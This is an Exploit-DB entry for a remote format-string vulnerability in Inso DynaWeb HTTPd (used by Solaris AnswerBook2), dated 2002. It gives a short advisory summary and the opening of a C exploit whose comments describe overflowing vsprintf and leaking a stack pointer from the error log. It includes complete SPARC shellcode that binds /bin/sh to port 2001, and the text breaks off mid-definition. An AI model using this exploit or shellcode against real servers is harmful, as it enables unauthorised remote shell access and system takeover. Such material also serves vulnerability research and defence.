Exploit-DB #21678
Description: Inso DynaWeb HTTPd 3.1/4.0.2/4.1 - Format String
Type: remote
Platform: solaris
Date: 2002-08-02
Author: ghandi

Exploit:
// source: https://www.securityfocus.com/bid/5384/info

Inso DynaWeb webserver, dwhttpd, is used as a subcomponent in products such as Sun's AnswerBook2, which is shipped as part of the Solaris operating environment. 

The dwhttpd webserver is prone to a remotely exploitable format-string vulnerability that occurs when logging requests for files that do not exist. Exploits may allow attacker-supplied code supplied to run with the privileges of the dwhttpd. 

Note that a vulnerability described in Bugtraq ID 5583 allows for unauthenticated remote attackers to view the logfile. Attackers may exploit that vulnerability to more easily exploit this issue successfully and automatically.

/*
 * Solaris/SPARC AnswerBook2 / DynaWeb HTTPD remote exploit
 *
 * Exploits a format string vulnerability in dwhttpd to overflow the
 * destination string passed to vsprintf(3S) in nsapi_log_error().
 * The constructed format string uses a large field width, which when
 * interpreted by vsprintf(), overflows the destination string and
 * places code on the stack.  Using a carefully crafted request and
 * the format string bug, it bypasses authentication to retrieve a
 * pointer to the stack out of the dwhttpd error log.  Using this
 * pointer, we calculate the exact location of our shellcode.
 * The shellcode included binds /bin/sh to port 2001.
 *
 * I found this bug on 2000-09-22, but kept poking at exploit over
 * next year or so.
 * 
 * -ghandi <ghandi@mindless.com>, 2001-07-08
 */

/* XXX: Doesn't work from an intel (little-endian) machine. */

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <strings.h>
#include <stdlib.h>
#include <netdb.h>

char bindsh_sparc[] =
  "\xa0\x23\xa0\x10"	/* sub    	%sp, 16, %l0                 */
  "\xae\x23\x80\x10"	/* sub    	%sp, %l0, %l7                */
  "\xee\x23\xbf\xec"	/* st     	%l7, [%sp - 20]              */
  "\x90\x25\xe0\x0e"	/* sub    	%l7, 14, %o0                 */
  "\x92\x25\xe0\x0e"	/* sub    	%l7, 14, %o1                 */
  "\x94\x1c\x40\x11"	/* xor    	%l1, %l1, %o2                */
  "\x96\x1c\x40\x11"	/* xor    	%l1, %l1, %o3                */
  "\x98\x25\xe0\x0f"	/* sub    	%l7, 15, %o4                 */
  "\x82\x05\xe0\xd6"	/* add    	%l7, 214, %g1                */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\xa4\x1a\x80\x08"	/* xor    	%o2, %o0, %l2                */
  "\xd2\x33\xbf\xf0"	/* sth    	%o1, [%sp - 16]              */
  "\xac\x10\x27\xd1"	/* mov    	2001, %l6                    */
  "\xec\x33\xbf\xf2"	/* sth    	%l6, [%sp - 14]              */
  "\xc0\x23\xbf\xf4"	/* st     	%g0, [%sp - 12]              */
  "\x90\x1a\xc0\x12"	/* xor    	%o3, %l2, %o0                */
  "\x92\x1a\xc0\x10"	/* xor    	%o3, %l0, %o1                */
  "\x94\x1a\xc0\x17"	/* xor    	%o3, %l7, %o2                */
  "\x82\x05\xe0\xd8"	/* add    	%l7, 216, %g1                */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\x90\x1a\xc0\x12"	/* xor    	%o3, %l2, %o0                */
  "\x92\x25\xe0\x0b"	/* sub    	%l7, 11, %o1                 */
  "\x82\x05\xe0\xd9"	/* add    	%l7, 217, %g1                */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\x90\x1a\xc0\x12"	/* xor    	%o3, %l2, %o0                */
  "\x92\x1a\xc0\x10"	/* xor    	%o3, %l0, %o1                */
  "\x94\x23\xa0\x14"	/* sub    	%sp, 20, %o2                 */
  "\x82\x05\xe0\xda"	/* add    	%l7, 218, %g1                */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\xa6\x1a\xc0\x08"	/* xor    	%o3, %o0, %l3                */
  "\x90\x1a\xc0\x13"	/* xor    	%o3, %l3, %o0                */
  "\x92\x25\xe0\x07"	/* sub    	%l7, 7, %o1                  */
  "\x94\x1b\x80\x0e"	/* xor    	%sp, %sp, %o2                */
  "\x82\x05\xe0\x2e"	/* add    	%l7, 46, %g1                 */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\x90\x1a\xc0\x13"	/* xor    	%o3, %l3, %o0                */
  "\x92\x25\xe0\x07"	/* sub    	%l7, 7, %o1                  */
  "\x94\x02\xe0\x01"	/* add    	%o3, 1, %o2                  */
  "\x82\x05\xe0\x2e"	/* add    	%l7, 46, %g1                 */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\x90\x1a\xc0\x13"	/* xor    	%o3, %l3, %o0                */
  "\x92\x25\xe0\x07"	/* sub    	%l7, 7, %o1                  */
  "\x94\x02\xe0\x02"	/* add    	%o3, 2, %o2                  */
  "\x82\x05\xe0\x2e"	/* add    	%l7, 46, %g1                 */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\x90\x1b\x80\x0e"	/* xor    	%sp, %sp, %o0                */
  "\x82\x02\xe0\x17"	/* add    	%o3, 23, %g1                 */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\x21\x0b\xd8\x9a"	/* sethi  	%hi(0x2f626800), %l0         */
  "\xa0\x14\x21\x6e"	/* or     	%l0, 0x16e, %l0	! 0x2f62696e */
  "\x23\x0b\xdc\xda"	/* sethi  	%hi(0x2f736800), %l1         */
  "\x90\x23\xa0\x10"	/* sub    	%sp, 16, %o0                 */
  "\x92\x23\xa0\x08"	/* sub    	%sp, 8, %o1                  */
  "\x94\x1b\x80\x0e"	/* xor    	%sp, %sp, %o2                */
  "\xe0\x3b\xbf\xf0"	/* std    	%l0, [%sp - 16]              */
  "\xd0\x23\xbf\xf8"	/* st     	%o0, [%sp - 8]               */
  "\xc0\x23\xbf\xfc"	/* st     	%g0, [%sp - 4]               */
  "\x82\x02\xe0\x3b"	/* add    	%o3, 59, %g1                 */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\x90\x1b\x80\x0e"	/* xor    	%sp, %sp, %o0                */
  "\x82\x02\xe0\x01"	/* add    	%o3, 1, %g1                  */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
;

typedef struct {
    char* version;       /* dwhttpd version string */
    int   ptr_offset;    /* Distance between stack pointer and '